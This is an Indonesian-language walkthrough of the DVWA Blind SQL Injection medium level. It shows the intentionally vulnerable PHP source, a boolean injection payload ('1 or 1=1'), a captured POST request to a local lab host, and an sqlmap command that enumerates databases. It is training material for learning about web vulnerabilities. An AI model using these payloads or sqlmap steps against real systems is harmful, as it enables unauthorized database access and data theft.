Di bawah ini adalah source-code dari Blind SQL Injection level medium di DVWA.
vulnerabilities/sqli_blind/source/medium.php
<?phpif( isset( $_POST[ 'Submit' ] ) ) {// Get input $id = $_POST[ 'id' ]; $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Check database $getid ="SELECT first_name, last_name FROM users WHERE user_id = $id;"; $result =mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors// Get results $num =@mysqli_num_rows( $result ); // The '@' character suppresses errorsif( $num >0 ) {// Feedback for end userecho'<pre>User ID exists in the database.</pre>'; }else {// Feedback for end userecho'<pre>User ID is MISSING from the database.</pre>'; }//mysql_close();}?>
Mencari Informasi
Pada level medium ini, form yang digunakan adalah bertipe select dan method yang digunakan adalah POST.
Sehingga untuk merubah nilai inputannya, kita membutuhkan bantuan Burpsuite, seperti berikut:
Saya mencoba membuatnya bernilai false dengan membuat nilai id menjadi '''.
Dan ketika saya menggunakan payload berikut, maka hasilnya akan true:
1or1=1
Yup! Terdapat celah Blind SQL Injection. Kita akan menggunakan SQLMap untuk eksplorasi lebih lanjut.
Melakukan Serangan
Pertama-tama, tangkap request menggunakan Burpsuite, lalu simpan ke dalam file seperti berikut:
r.txt
POST /vulnerabilities/sqli_blind/ HTTP/1.1Host:172.17.0.2User-Agent:Mozilla/5.0 (X11; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language:en-US,en;q=0.5Accept-Encoding:gzip, deflateContent-Type:application/x-www-form-urlencodedContent-Length:18Origin:http://172.17.0.2Connection:closeReferer:http://172.17.0.2/vulnerabilities/sqli_blind/Cookie:lang=en-US; PHPSESSID=jusi9ccuu6qfk9m3tqdf103jo2; security=mediumUpgrade-Insecure-Requests:1i_like_gitea:11sessionid=1&Submit=Submit
Selanjutnya, jalankan SQLMap seperti berikut:
sqlmap -r r.txt --dbs
Dan hasilnya terlihat bahwa terdapat 2 database yang tersedia.